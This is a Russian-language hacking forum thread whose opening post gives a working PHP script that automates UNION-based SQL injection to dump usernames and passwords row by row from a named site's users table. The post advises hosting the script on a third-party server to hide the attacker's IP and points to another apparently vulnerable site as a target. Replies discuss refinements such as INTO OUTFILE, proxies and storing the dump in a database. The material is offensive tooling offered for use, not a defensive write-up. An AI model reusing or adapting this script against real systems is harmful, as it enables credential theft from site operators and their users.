Может было уже, но не нащел, по этому пишу свою статью.. Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу сразу, а можно только одной строкой, и далее приходится перебирать через limit. Можно ли автоматизировать этот процесс?? Да. Можно. И сегодня я вам расскажу, как это сделать! Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого.. Code: <?php $req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116,97,62),nick,char(58),passwd,char(60,47,100,97,116,97,62)),7,8,9,10,11,12,13,14+from+users+limit+'; // char(60,100,97,116,97,62) = <data> // char(60,47,100,97,116,97,62) = </data> // В итоге из базы вернется такая строка: <data>username:password</data> $tag1='<data>'; $tag2='</data>'; // Между какими тегами ищем наши данные $max=3203; // Максимальное число пользователей в базе error_reporting(0); ob_implicit_flush(); echo '<pre>'; // Открываем цикл for ($i=0;$i<$max;$i++) { con ($req.$i.',1/*',$tag1,$tag2); } echo '</pre>'; // Собственно сама функция function con($url,$a1,$a2) { // Получаем порт и хост из адреса $service_port = getservbyname('www', 'tcp'); $host=substr($url,7,strpos($url,"/",7)-7); $address = gethostbyname($host); // Создаем сокет $socket = socket_create(AF_INET, SOCK_STREAM, 0); // Коннектимся $result = socket_connect($socket, $address, $service_port); switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5)) { case 2: echo "[-] Connection Refused\n"; break; case 1: // echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе break; case 0: echo "[-] Timeout\n"; break; } // Формируем запрос $in = "GET $url HTTP/1.0\r\n"; $in .= "Host: $host\r\n"; $in .= "Connection: Close\r\n\r\n"; // Запрашиваем страницу socket_write($socket, $in, strlen ($in)); $out = ''; $text=''; // Получам данные while ($out = socket_read($socket, 2048)) { $text.=$out; } socket_close ($socket); // Ищем в полученной странице наши теги и выводим строку между ними echo substr($text,strpos($text,$a1),strpos($text,$a2,strpos($text,$a1))-strpos($text,$a1)); echo "\n"; } ?> Заливаем этот скриптик куда-нить на narod.ru. Далее ищем сайт, уязвимый php-inj, например *http://www.ultriplo.com/index.php?page=.php и запускаем скрипт *http:... Спасибо за внимание.. Created by 5hr4M...
а через инто аутфайл никак? да и слить упакованную в архив бд лудше--- или если уж так и сливать то лудше сразу с локали запускать и лить себе -- чет как-то хз помойму не слишком разумный метод делать дамп базы
into outfile тоже не всегда работает.. нет прав записи часто.. А если лить с локали 1) Палишь ip 2) Скорость маленькая 3) Трафа жрет А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..
1) палишь ip -- а проксю повесить сильно впадлу на себя? 2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........
1) Ну, если переписать немного скрипт, то можно.. 2) Ты хоть разбирался как скрипт работает?? Объясню.. Он запрашивает с атакуемого сайта страницу, находит в ней нужные данные и выводит их на экран.. А теперь прикинь какая экономия траффика? Запросить 1000 страниц или скачать 1000 строчек с сайта??? Подумай над этим...
genom-- Сам подумал что сказал создай мне запрос что бы выводил в файл всю базу, при условии что выводиться 1 строка. Shram-spb Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.
вообще, это слишком простенько и неинтересно, чтоб посвещать такому скриптику целую статью.. ведь извлекать из базы подобным образом инфу - это тривиальнейшая задача, которую тут, наверно, каждому второму хоть раз приходилось решать.. >> Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд. имхо проще уже потом из файла перекинуть все в БД..